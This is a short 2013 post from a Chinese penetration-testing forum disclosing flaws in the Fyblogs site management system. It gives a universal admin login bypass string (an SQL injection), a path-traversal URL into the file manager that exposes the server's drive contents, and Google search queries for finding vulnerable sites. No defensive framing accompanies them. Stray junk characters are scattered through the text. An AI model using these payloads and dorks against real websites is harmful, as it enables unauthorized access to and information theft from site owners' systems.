中国网络渗透测试联盟

标题: Fyblogs网站管理系统漏洞 [打印本页]
作者: admin    时间: 2013-3-14 20:17
标题: Fyblogs网站管理系统漏洞
后台万能密码 'or'='or'
* R% v5 J7 v1 b) F( f0 f7 ~% t# `& @& }2 H: V$ D3 ?$ _5 s, \
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
& _& A6 q; l* G8 Q& v( D: Padmin/uploadfile.asp?currentFolder=/upfiles/../. @; Q1 Q4 U  J  y
1 P! R: L/ ?1 {' s2 p4 L6 r
漏洞证明：0 A' u$ K$ o8 _  J; h2 [
, \; H2 G9 t9 s6 m2 y8 |  k+ ]; G$ U
谷歌：inurl:type.asp?id=1 新闻中心. x6 [  J, T5 o: F' s
或者 ：inurl:download_ok.asp?
5 [; o7 M: {) h8 B' F, a  C4 i# f1 |: y




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2